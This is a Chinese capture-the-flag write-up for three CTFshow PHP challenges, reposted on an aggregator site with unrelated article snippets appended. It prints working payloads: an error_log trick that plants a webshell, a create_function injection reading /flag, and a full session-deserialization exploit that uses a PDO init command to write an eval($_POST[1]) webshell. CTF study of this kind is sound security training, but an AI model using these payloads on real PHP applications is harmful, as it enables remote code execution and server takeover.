[CTFshow 红包挑战] 刷题记录

文章目录

    • 红包挑战7
    • 红包挑战8
    • 红包挑战9


红包挑战7

考点:xdebug拓展

源码

 <?php
highlight_file(__FILE__);
error_reporting(2);extract($_GET);
ini_set($name,$value);system("ls '".filter($_GET[1])."'"
);function filter($cmd){$cmd = str_replace("'","",$cmd);$cmd = str_replace("\\","",$cmd);$cmd = str_replace("`","",$cmd);$cmd = str_replace("$","",$cmd);return $cmd;
}

分析一下
error_reporting(2);这将错误报告级别设置为仅显示警告,这可能是为了隐藏潜在的错误消息,使用户看不到;接着extract函数存在变量覆盖;ini_set函数可以修改php拓展;然后字符串拼接命令执行,不过只有ls功能;最后给了黑名单过滤

我们简单测试下,发现flag的位置
在这里插入图片描述那么我们的问题就是如何读取

思路:利用extract函数变量覆盖和ini_set函数修改php配置选项,使得利用拓展实现RCE
我们看一下有什么可用的拓展,通常在/usr/lib/php/extensions下,但是本题的路径为/usr/local/lib/php/extensions
在这里插入图片描述读取一下,发现存在xdebug拓展

?1=/usr/local/lib/php/extensions/no-debug-non-zts-20180731

在这里插入图片描述结合本题特殊的error_reporting(2),翻一下资料,发现xdebug拓展在处理截断问题时会将异常payload回显。而system刚好可以用0字节进行截断来触发异常,也就是%00截断。我们已知可控php配置选项,由于不会设置为2不会回显报错,那么我们可以利用error_log函数控制报错信息回显的路径
payload如下
(注意命令的双引号,单引号被过滤了)

?name=error_log&value=/var/www/html/hack.php&1=%00<?php system("ls /");?>

在这里插入图片描述访问/hack.php,然后再修改命令即可

在这里插入图片描述

红包挑战8

考点:create_function注入

源码

 <?php
highlight_file(__FILE__);
error_reporting(0);extract($_GET);
create_function($name,base64_encode($value))();

存在变量覆盖,create_function函数第二个参数无法实现注入
由于我们第一个参数name也是可控的,payload如下

?name=){}system('tac /flag');//

在这里插入图片描述

红包挑战9

考点:session反序列化

题目是给了附件的

我们先看common.php

<?phpclass user{public $id;public $username;private $password;public function __toString(){return $this->username;}}class cookie_helper{private $secret = "*************"; //敏感信息打码public  function getCookie($name){return $this->verify($_COOKIE[$name]);}public function setCookie($name,$value){$data = $value."|".md5($this->secret.$value);setcookie($name,$data);}private function verify($cookie){$data = explode('|',$cookie);if (count($data) != 2) {return null;}return md5($this->secret.$data[0])=== $data[1]?$data[0]:null;}
}class mysql_helper{private $db;public $option = array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION);public function __construct(){$this->init();}public function __wakeup(){$this->init();}private function init(){$this->db = array('dsn' => 'mysql:host=127.0.0.1;dbname=blog;port=3306;charset=utf8','host' => '127.0.0.1','port' => '3306','dbname' => '****', //敏感信息打码'username' => '****',//敏感信息打码'password' => '****',//敏感信息打码'charset' => 'utf8',);}public function get_pdo(){try{$pdo = new PDO($this->db['dsn'], $this->db['username'], $this->db['password'], $this->option);}catch(PDOException $e){die('数据库连接失败:' . $e->getMessage());}return $pdo;}}class application{public $cookie;public $mysql;public $dispather;public $loger;public $debug=false;public function __construct(){$this->cookie = new cookie_helper();$this->mysql = new mysql_helper();$this->dispatcher = new dispatcher();$this->loger = new userLogger();$this->loger->setLogFileName("log.txt");}public function register($username,$password){$this->loger->user_register($username,$password);$pdo = $this->mysql;$sql = "insert into user(username,password) values(?,?)";$pdo = $this->mysql->get_pdo();$stmt = $pdo->prepare($sql);$stmt->execute(array($username,$password));return $pdo->lastInsertId() > 0;}public function login($username,$password){$this->loger->user_login($username,$password);$sql = "select id,username,password from user where username = ? and password = ?";$pdo = $this->mysql->get_pdo();$stmt = $pdo->prepare($sql);$stmt->execute(array($username,$password));$ret = $stmt->fetch();return $ret['password']===$password;}public function getLoginName($name){$data = $this->cookie->getCookie($name);if($data === NULL && isset($_GET['token'])){session_decode($_GET['token']);$data = $_SESSION['user'];}return $data;}public function logout(){$this->loger->user_logout();setCookie("user",NULL);}private function log_last_user(){$sql = "select username,password from user order by id desc limit 1";$pdo = $this->mysql->get_pdo();$stmt = $pdo->prepare($sql);$stmt->execute();$ret = $stmt->fetch();}public function __destruct(){if($this->debug){$this->log_last_user();}}}class userLogger{public $username;private $password;private $filename;public function __construct(){$this->filename = "log.txt_$this->username-$this->password";}public function setLogFileName($filename){$this->filename = $filename;}public function __wakeup(){$this->filename = "log.txt";}public function user_register($username,$password){$this->username = $username;$this->password = $password;$data = "操作时间:".date("Y-m-d H:i:s")."用户注册: 用户名 $username 密码 $password\n";file_put_contents($this->filename,$data,FILE_APPEND);}public function user_login($username,$password){$this->username = $username;$this->password = $password;$data = "操作时间:".date("Y-m-d H:i:s")."用户登陆: 用户名 $username 密码 $password\n";file_put_contents($this->filename,$data,FILE_APPEND);}public function user_logout(){$data = "操作时间:".date("Y-m-d H:i:s")."用户退出: 用户名 $this->username\n";file_put_contents($this->filename,$data,FILE_APPEND);}public function __destruct(){$data = "最后操作时间:".date("Y-m-d H:i:s")." 用户名 $this->username 密码 $this->password \n";$d = file_put_contents($this->filename,$data,FILE_APPEND);}
}
class dispatcher{public function sendMessage($msg){echo "<script>alert('$msg');window.history.back();</script>";}public function redirect($route){switch($route){case 'login':header("location:index.php?action=login");break;case 'register':header("location:index.php?action=register");break;default:header("location:index.php?action=main");break;}}
}

不难发现存在文件写入的功能考虑反序列化,但是没有发现unserialize函数,不过我们分析下面代码

public function getLoginName($name){$data = $this->cookie->getCookie($name);if($data === NULL && isset($_GET['token'])){session_decode($_GET['token']);$data = $_SESSION['user'];}return $data;}

语句session_decode($_GET['token']);往session里面存放对象
语句$data = $_SESSION['user'];往session里面拿取对象,拿取名字为user的对象。

所以满足session反序列化条件的情况下,我们可以构造token=user| 恶意序列化字符串来实现命令执行
(注:token的格式是因为session的存储格式为键名 + 竖线 + 经过 serialize() 函数反序列处理的值

我们访问main.php,发现存在调用getLoginName()

<?php$name =  $app->getLoginName('user');if($name){echo "恭喜你登陆成功 <a href='/index.php?action=logout'>退出登陆</a>";
}else{include 'login.html';
}

而要想访问main.php调用此方法就要继续看到index.php

<?phperror_reporting(0);
session_start();
require_once 'common.php';$action = $_GET['action'];
$app = new application();if(isset($action)){switch ($action) {case 'do_login':$ret = $app->login($_POST['username'],$_POST['password']);if($ret){$app->cookie->setcookie("user",$_POST['username']);$app->dispatcher->redirect('main');}else{echo "登录失败";}break;case 'logout':$app->logout();$app->dispatcher->redirect('main');break;    case 'do_register':$ret = $app->register($_POST['username'],$_POST['password']);if($ret){$app->dispatcher->sendMessage("注册成功,请登陆");}else{echo "注册失败";}break;default:include './templates/main.php';break;}
}else{$app->dispatcher->redirect('main');
}

可以发现启用session_start();(说明思路没错),接收action参数进行switch选择判断,如果没找到则跳转main.php,所以我们只需要传参action不为那三个值即可

思路捋清楚后我们看向如何反序列化,前提是if($data === NULL && isset($_GET['token']))
data的值是由getCookie()得到的,我们分析下cookie_helper类

class cookie_helper{private $secret = "*************"; //敏感信息打码public  function getCookie($name){return $this->verify($_COOKIE[$name]);}public function setCookie($name,$value){$data = $value."|".md5($this->secret.$value);setcookie($name,$data);}private function verify($cookie){$data = explode('|',$cookie);if (count($data) != 2) {return null;}return md5($this->secret.$data[0])=== $data[1]?$data[0]:null;}
}

verify()首先用|将cookie值隔开,判断数量是否为2,如果不为2返回null(关键点在这)。
如果返回null的话data值为null,并且我们同时传参token,那么就可以实现session反序列化

cookie值的生成方式也告诉我们$data = $value."|".md5($this->secret.$value);,我们可以将注册的用户名添加一个|,然后拼接的时候就会出现两个|,也就是数量为3实现返回null

注册用户名rev1ve|666,登录得到cookie
在这里插入图片描述然后我们简单构造字符串

<?phpclass userLogger{public $username="<?php eval(\$_POST[1]);?>";private $password="123456";
}
$a=new userLogger();
echo urlencode(serialize($a));

我们可以访问log.txt看看(带上cookie),发现成功写入
在这里插入图片描述
那么我们getshell的方式就是写马

题目应该是开启了PDO扩展(common.php中出现的mysql_helper类),用来连接数据库。
利用PDO::MYSQL_ATTR_INIT_COMMAND

连接MySQL服务器时执行的命令(SQL语句)。将在重新连接时自动重新执行。注意,这个常量只能在构造一个新的数据库句柄时在driver_options数组中使用。

构造恶意命令select '<?php eval($_POST[1]);phpinfo();?>' into outfile '/var/www/html/1.php';

我们看向mysql_helper类,执行命令如下

public $option = array(PDO::MYSQL_ATTR_INIT_COMMAND => “select '<?php eval($_POST[1]);phpinfo();?>' into outfile '/var/www/html/1.php';”
);

往前推,可以发现application类实例化的时候会调用mysql_helper类
连接数据库就得执行mysql_helper::get_pdo()方法,然后必须执行application::log_last_user()方法

private function log_last_user(){$sql = "select username,password from user order by id desc limit 1";$pdo = $this->mysql->get_pdo();$stmt = $pdo->prepare($sql);$stmt->execute();$ret = $stmt->fetch();
}

往下看,发现debug的值为True才行

public function __destruct(){if($this->debug){$this->log_last_user();}
}

exp如下

<?php
class mysql_helper{public $option = array(PDO::MYSQL_ATTR_INIT_COMMAND => "select '<?php eval(\$_POST[1]);phpinfo();?>' into outfile '/var/www/html/6.php';");
}class application{public $debug=true;public $mysql;
}$a=new application();
$b=new mysql_helper();
$a->mysql=$b;
echo urlencode(serialize($a));

直接随便抓包一个界面,修改cookie为我们注册rev1ve|666的,添加payload
在这里插入图片描述
然后成功访问得到flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/212052.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

1832_org-mode的注释处理

Grey # :OPTIONS ^:nil org-mode的注释处理 关于这部分其实比较简单&#xff0c;在我现在的使用诉求上来说要求不多。但是我觉得如果考虑以后把文学式编程作为一种开发的主要体验的话&#xff0c;掌握这样的操作很有必要。因为我可以控制部分信息的输出。 自然&#xff0c;控…

LeetCode-数组-重叠、合并、覆盖问题-中等难度

435. 无重叠区间 我认为区间类的题型&#xff0c;大多数考验的是思维能力&#xff0c;以及编码能力&#xff0c;该类题型本身并无什么算法可言&#xff0c;主要是思维逻辑&#xff0c;比如本题实际上你只需要能够总结出重叠与不重叠的含义&#xff0c;再加上一点编码技巧&#…

go-zero开发入门-API服务开发示例

接口定义 定义 API 接口文件 接口文件 add.api 的内容如下&#xff1a; syntax "v1"info (title: "API 接口文件示例"desc: "演示如何编写 API 接口文件"author: "一见"date: "2023年12月07日"version: "…

Spring Boot 优雅地处理重复请求

前 言 对于一些用户请求&#xff0c;在某些情况下是可能重复发送的&#xff0c;如果是查询类操作并无大碍&#xff0c;但其中有些是涉及写入操作的&#xff0c;一旦重复了&#xff0c;可能会导致很严重的后果&#xff0c;例如交易的接口如果重复请求可能会重复下单。 重复的场…

Verilog基础:$random系统函数的使用

相关阅读 Verilog基础​编辑https://blog.csdn.net/weixin_45791458/category_12263729.html $random系统函数语法的BNF范式如下所示&#xff0c;有关BNF范式相关内容&#xff0c;可以浏览以往文章Verilog基础&#xff1a;巴科斯范式(BNF)。 $random系统函数在每次调用时返回一…

【IDEA】IntelliJ IDEA中进行Git版本控制

本篇文章主要记录一下自己在IntelliJ IDEA上使用git的操作&#xff0c;一个新项目如何使用git进行版本控制。文章使用的IDEA版本 IntelliJ IDEA Community Edition 2023.3&#xff0c;远程仓库为https://gitee.com/ 1.配置Git&#xff08;File>Settings&#xff09; 2.去Git…

[gRPC实现go调用go]

1什么是RPC RPC&#xff1a;Remote Procedure Call&#xff0c;远程过程调用。简单来说就是两个进程之间的数据交互。正常服务端的接口服务是提供给用户端(在Web开发中就是浏览器)或者自身调用的&#xff0c;也就是本地过程调用。和本地过程调用相对的就是&#xff1a;假如两个…

深度优先遍历(DFS)

时间复杂度与深搜一致&#xff1b;

STM32 定时器总结

缩写 ARR: Auto-Reload Register&#xff08;保存定时器的计数范围&#xff09; PSC: Prescaler register&#xff08;预分频器寄存器&#xff0c;根据设置的分频因子N&#xff0c;计数N个定时器时钟脉冲后&#xff0c;产生一个CNT计数&#xff0c;以此实现分频功能&#xff0…

LeetCode 2048. 下一个更大的数值平衡数

一、题目 1、题目描述 如果整数 x 满足&#xff1a;对于每个数位 d &#xff0c;这个数位 恰好 在 x 中出现 d 次。那么整数 x 就是一个 数值平衡数 。 给你一个整数 n &#xff0c;请你返回 严格大于 n 的 最小数值平衡数。 0 < n < 1e6 2、接口描述 public:int nextB…

Android渲染-AHardwareBuffer

本文主要从应用的角度介绍android的native层AHardwareBuffer创建纹理以及保存渲染数据。 HardwareBuffer 要介绍native层的AHardwareBuffer&#xff0c;就需要先从Java层的HardwareBuffer说起。Android官方对于HardwareBuffer介绍如下&#xff1a; HardwareBuffer wraps a na…

HttpURLConnection OOM问题记录

使用HttpURLConnection 上传大文件&#xff0c;会出现内存溢出问题&#xff1a; 观察HttpURLConnection 源码&#xff1a; Overridepublic synchronized OutputStream getOutputStream() throws IOException {connecting true;SocketPermission p URLtoSocketPermission(th…

【接口分享】热门好用的API,含免费次数

语音验证码短信&#xff1a;拨打电话告知用户验证码&#xff0c;实现信息验证。短信验证码&#xff1a;可用于登录、注册、找回密码、支付认证等等应用场景。支持三大运营商&#xff0c;3秒可达&#xff0c;99.99&#xff05;到达率&#xff0c;支持大容量高并发。通知短信&…

基于SSM的点餐系统的设计与实现

末尾获取源码 开发语言&#xff1a;Java Java开发工具&#xff1a;JDK1.8 后端框架&#xff1a;SSM 前端&#xff1a;Vue 数据库&#xff1a;MySQL5.7和Navicat管理工具结合 服务器&#xff1a;Tomcat8.5 开发软件&#xff1a;IDEA / Eclipse 是否Maven项目&#xff1a;是 目录…

mysql设置为密码登录

要设置Ubuntu上的MySQL需要密码登录&#xff0c;你可以使用以下步骤&#xff1a; 打开终端。 输入以下命令登录到 MySQL 服务器&#xff1a; sudo mysql -u root -p按Enter后&#xff0c;系统会要求输入密码。如果是第一次登录&#xff0c;你可能需要直接按Enter键&#xff08…

【已解决】解决UbuntuKali无法进行SSH远程连接

目录 Ubuntu20.04配置SSH远程连接Kali Linux配置SSH远程连接 Ubuntu20.04配置SSH远程连接 首先更新安装包 sudo apt-get update 下载SSH服务 sudo apt install openssh-server 查看SSH服务 service ssh status 打开 /etc/ssh/sshd_config文件修改配置文件 将PermitRootLog…

知识笔记(五十二)———MySQL 删除数据表

MySQL中删除数据表是非常容易操作的&#xff0c;但是你在进行删除表操作时要非常小心&#xff0c;因为执行删除命令后所有数据都会消失。 语法 以下为删除 MySQL 数据表的通用语法&#xff1a; DROP TABLE table_name ; -- 直接删除表&#xff0c;不检查是否存在 或 DROP…

基于Debain安装 Docker 和 Docker Compose

一、安装Docker # 先升级一下系统 (Ubuntu / Debian 系) sudo apt-get update sudo apt-get upgrade# 如果你是 CentOS、红帽系列则使用&#xff1a; yum update yum upgrade# 安装 Docker curl -fsSL https://get.docker.com -o get-docker.sh sudo sh get-docker.sh二、Dock…

LeetCode 0070. 爬楼梯:动态规划(递推)

【LetMeFly】70.爬楼梯&#xff1a;动态规划&#xff08;递推&#xff09; 力扣题目链接&#xff1a;https://leetcode.cn/problems/climbing-stairs/ 假设你正在爬楼梯。需要 n 阶你才能到达楼顶。 每次你可以爬 1 或 2 个台阶。你有多少种不同的方法可以爬到楼顶呢&#x…

NVIDIA Jetson NX ubuntu20.04删除多余版本冲突的Boost库

参考Ubuntu16.04 卸载旧版本Boost库并安装新版本 卸载 删除/usr/local/include/boost文件夹&#xff0c;删除/usr/local/lib中和boost有关的文件,以及/usr/local/lib/cmake/中boost的cmake文件 cd /usr/local/lib/ ls | grep boost sudo rm -rf /usr/local/include/boost su…